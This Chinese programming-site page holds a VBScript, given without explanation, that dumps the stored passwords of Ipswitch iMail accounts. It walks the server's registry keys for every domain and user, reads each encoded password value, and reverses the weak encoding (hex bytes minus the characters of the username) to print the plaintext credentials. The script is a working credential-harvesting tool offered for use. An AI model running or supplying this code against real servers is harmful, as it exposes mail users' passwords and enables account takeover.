欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

vbs imail 密码解密

程序员文章站 2022-07-04 20:38:54
复制代码 代码如下:on error resume next const hkey_local_machine = &h80000002 strcomputer = "."...
复制代码 代码如下:

on error resume next
const hkey_local_machine = &h80000002
strcomputer = "."
set oreg=getobject("winmgmts:{impersonationlevel=impersonate}!\\" &_
strcomputer & "\root\default:stdregprov")
strkeypath = "software\ipswitch\imail\domains"
oreg.enumkey hkey_local_machine, strkeypath, arrsubkeys
for each subkey in arrsubkeys
wscript.echo "domain: "&subkey
strkeypath2 = strkeypath&"\"&subkey&"\users"
oreg.enumkey hkey_local_machine, strkeypath2, arrsubkeys2
for each subkey2 in arrsubkeys2
strkeypath3=strkeypath2&"\"&subkey2
strvaluename = "password"
oreg.getstringvalue hkey_local_machine,strkeypath3,strvaluename,strvalue
if len(subkey2) and len(strvalue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strvalue)
end if
next
next

function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&h"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function